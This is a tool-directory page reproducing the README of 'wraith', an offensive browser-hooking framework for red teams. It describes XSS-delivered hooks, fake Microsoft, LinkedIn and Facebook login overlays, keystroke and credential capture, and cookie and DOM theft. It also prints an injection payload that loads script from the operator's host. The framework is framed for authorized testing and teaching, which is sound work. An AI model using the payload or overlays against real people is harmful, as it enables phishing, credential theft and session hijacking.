Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wraith — Browser-hooking framework for authorized red teams and educators. Hooks browsers via XSS, provides interactive post-exploitation control, blind-XSS loot capture, social-engineering overlays, and a practice lab. | Kitploit
Tools/GitHubGitHub/arcanum-sec/wraith
ExploitationPhishingWeb SecurityPenetration TestingCommand and ControlSocial EngineeringLearning & EducationRed TeamingLabs & Practice
GitHubarcanum-sec/wraith

wraith

Browser-hooking framework for authorized red teams and educators. Hooks browsers via XSS, provides interactive post-exploitation control, blind-XSS loot capture, social-engineering overlays, and a practice lab.

158161342 months agoReviewed by Kitploit
View RepositoryWebsite

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WRAITH — browser hook framework

A modern, standalone browser-hooking framework for red teams, security researchers, and educators — a clean-room successor to BeEF and the blind-XSS callback tools we live in.

FOR AUTHORIZED SECURITY TESTING, RESEARCH & EDUCATION ONLY. WRAITH is an offensive-security tool for demonstrating and testing phishing / man-in-the-browser / blind-XSS tradecraft. Only use it against systems and people you have explicit authorization to test. You are responsible for how you use it.

WRAITH operator console


Why we built it

Over the course of our work at Arcanum, we kept reaching for two different kinds of tooling and wishing they were one thing.

On one side was BeEF — the Browser Exploitation Framework — for the classic hook a browser, then work from inside its session workflow: keylog a fake login, recon the local network, push a module at a live victim. It's the tool we used to make man-in-the-browser real to people. But it's showing its age, big chunks of it are unreliable in today's browsers, and the social-engineering overlays look like logins from a decade ago.

On the other side were our favorite blind-XSS callback frameworks (XSS Hunter, ezXSS): drop a payload into a field, and the instant it fires somewhere you can't see, it calls home with the loot — origin, cookies, DOM, a screenshot.

What we increasingly needed — especially as more of our targets became AI application ecosystems, where untrusted text flows through agents, tool outputs, admin review queues, and support consoles, and fires JavaScript in places nobody is watching — was a single framework that did both: the interactive, persistent post-exploitation control of a BeEF hook, and the fire-and-forget blind-XSS callback loot, in one payload that's reliable in current browsers and looks like today's real login screens.

So we built WRAITH.

Heads up: this is a work in progress

We're releasing WRAITH early, and on purpose. We'd rather get it into the hands of the people who'll actually use it — and hear what breaks — than sit on it until it's "done."

That means: expect rough edges and bugs. Some modules are more battle-tested than others, browser behavior shifts under us constantly (see the network-scan notes below), and APIs may change between versions. If you hit something, please open an issue — repro steps, browser + version, and what you expected are gold. PRs welcome under the project's contribution terms.


Quick start (Docker)

The fastest path. You need Docker + Docker Compose.

git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh

setup.sh walks you through everything:

  1. Detects your public IP (or lets you enter a domain / custom host) so every hook and payload URL is minted with your address.
  2. Has you set an operator username + password for the console login.
  3. Generates the session-signing secret, writes a gitignored .env (chmod 600), and builds + starts the container.
  4. Prints your live URLs and a drop-in XSS payload at the end:
  Operator console : http://YOUR_IP:8090/operator/
  Login page       : http://YOUR_IP:8090/login   (user "operator")
  Demo victim page : http://YOUR_IP:8090/demo/
  Hook payload     : http://YOUR_IP:8090/hook.js

  Drop-in XSS payload:
    "><script src="http://YOUR_IP:8090/hook.js"></script>

Manage it with standard compose commands:

docker compose logs -f      # watch it
docker compose down         # stop (keeps ./data)
./setup.sh                  # reconfigure (rotate password, change address, …)

Captured sessions persist in ./data/ on the host — never baked into the image, never committed (.env and data/ are gitignored).

The operator console is login-gated whenever an operator password is set, with a username + password sign-in:

Operator login

Run it locally without Docker (dev)

npm install
npm start

Then open the operator console at http://127.0.0.1:3000/operator/ and the demo victim page at http://127.0.0.1:3000/demo/ (in a second browser/profile). On localhost, login is disabled by default for convenience — the server refuses to bind to a public interface without an operator password, so you can't accidentally expose an open panel.


Features

Hook + operator console

/hook.js is a small payload. Drop it in any page you control (<script src="/hook.js"></script>) or deliver it via an XSS in your target. The browser that loads it opens a WebSocket back to the operator, fingerprints itself (browser, OS, IP, page, UA), auto-reconnects, and survives navigation. Every hooked browser shows up live in the console, where you pick one and drive it — the full dashboard is the hero shot at the top of this README: hooked-browser roster, target detail, deploy controls, live activity feed, and captured credentials.

Social-engineering overlays

Modernized fake-login overlays, rendered in an isolated shadow DOM so they look pixel-correct on any host page and frost-blur the page behind them like a real re-auth modal. Ships with LinkedIn, Facebook, and Microsoft / Office 365 (authentic two-step email → password).

LinkedIn re-auth overlay over a host page

Live keystrokes + captured credentials

Every character the target types into an overlay streams to the console in real time, and the submitted credentials land in Captured Credentials — all persisted so nothing is lost on refresh or restart.

Live keystrokes and captured credential

Page Capture — the blind-XSS loot

The instant a browser hooks, WRAITH auto-fires Page Capture: exactly what a blind-XSS framework grabs when your payload fires somewhere you can't see — where it fired (origin + URL + referrer), the victim's cookies (non-HttpOnly), the full DOM, and a screenshot. Failures are reported honestly, because they are the lesson: HttpOnly cookies never appear, and CSP or cross-origin canvas tainting can block the screenshot.

Page Capture blind-XSS loot

Page Mirror — go beyond the screenshot 🆕

This is where WRAITH goes further than the tools it replaces. When you land a blind XSS or a hook in a page, most frameworks stop at a screenshot and a dump of raw HTML — you can see where your payload fired, but you can't actually do anything with it.

WRAITH's Page Mirror turns that dead-end loot into a live, navigable view of the application. Open the hooked page as a real, rendered browser view inside the operator console — then click links and move through the app visually, just like the victim would.

Download Tool